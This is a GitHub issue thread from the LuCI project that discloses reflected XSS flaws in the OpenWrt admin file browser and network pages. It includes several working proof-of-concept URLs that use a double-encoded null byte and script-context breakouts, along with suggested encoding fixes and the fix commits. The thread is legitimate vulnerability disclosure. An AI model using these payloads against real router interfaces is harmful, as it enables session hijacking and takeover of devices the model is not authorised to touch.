Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Reflected XSS at luci/admin/filebrowser in path and 'field' parameter #1731

Closed
macintorsten opened this issue Apr 6, 2018 · 6 comments
Closed

Comments

@macintorsten
Copy link

macintorsten commented Apr 6, 2018

The file browser is vulnerable to a few XSS issues. One in the path (first one) and the two other use the field parameter.

First (path)
http://192.168.56.2/cgi-bin/luci/admin/filebrowser/boot/grub%2500">`-alert(1)</script><script>`

Second (field parameter - reflected in <script>-context)
http://192.168.56.2/cgi-bin/luci/admin/filebrowser/boot/grub?field=')}}%0aalert(1)%0afunction%20a(path,input){if%20(true){//

Third (field parameter)
http://192.168.56.2/cgi-bin/luci/admin/filebrowser/boot/grub?field=">`-alert`1`]]></script><svg><script>`<![CDATA[

First and third should be blocked by IE XSS filter. Replace http://192.168.56.2/cgi-bin/luci/ with URL to luci.

Tested on:

Powered by LuCI Master (git-18.096.36616-14da6e8) / OpenWrt SNAPSHOT r6626-f27336e

@macintorsten
Copy link
Author

To fix first and third, which are reflections in <a href=-context, i.e html attribute, the value should probably be url-encoded then HTML entity-encoded.

To fix the second, the value should be escaped / encoded so it's not possible to escape the javascript string context OR end the script tag with </script>.

@jow-
Copy link
Contributor

jow- commented Apr 7, 2018

5c31937

@macintorsten
Copy link
Author

I'm adding a new XSS in this bug report because it is very similar to first one even though it's not for the same path:

http://192.168.56.2/cgi-bin/luci/admin/network/network/mng%2500',%20'');alert('1 (Where mngis a network that exists.)

HTML: <script type="text/javascript">cbi_t_add('network.mng💩', '');alert('1', 'advanced')</script> (where 💩 represent a null byte.)

It also uses a double URL-encoded null byte (urlencode('%00') => '%2500'). Maybe there are many more places than these have the same issue? If path / filename is just printed out without proper encoding because it is assumed filename / path is safe, it might be vulnerable, because something can be added after the nullbyte aka string termination character.

@jow-
Copy link
Contributor

jow- commented Apr 10, 2018

From my preliminary investigation this only affects leaf nodes because other invalid urls are running into 404 code paths. This particular attack vector should've been closed with b194b88

@macintorsten
Copy link
Author

@jow- I tested it a bit more and it seems to work. Unless you know somewhere else this should be patch, shall the bug be closed?

@macintorsten
Copy link
Author

Closing.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants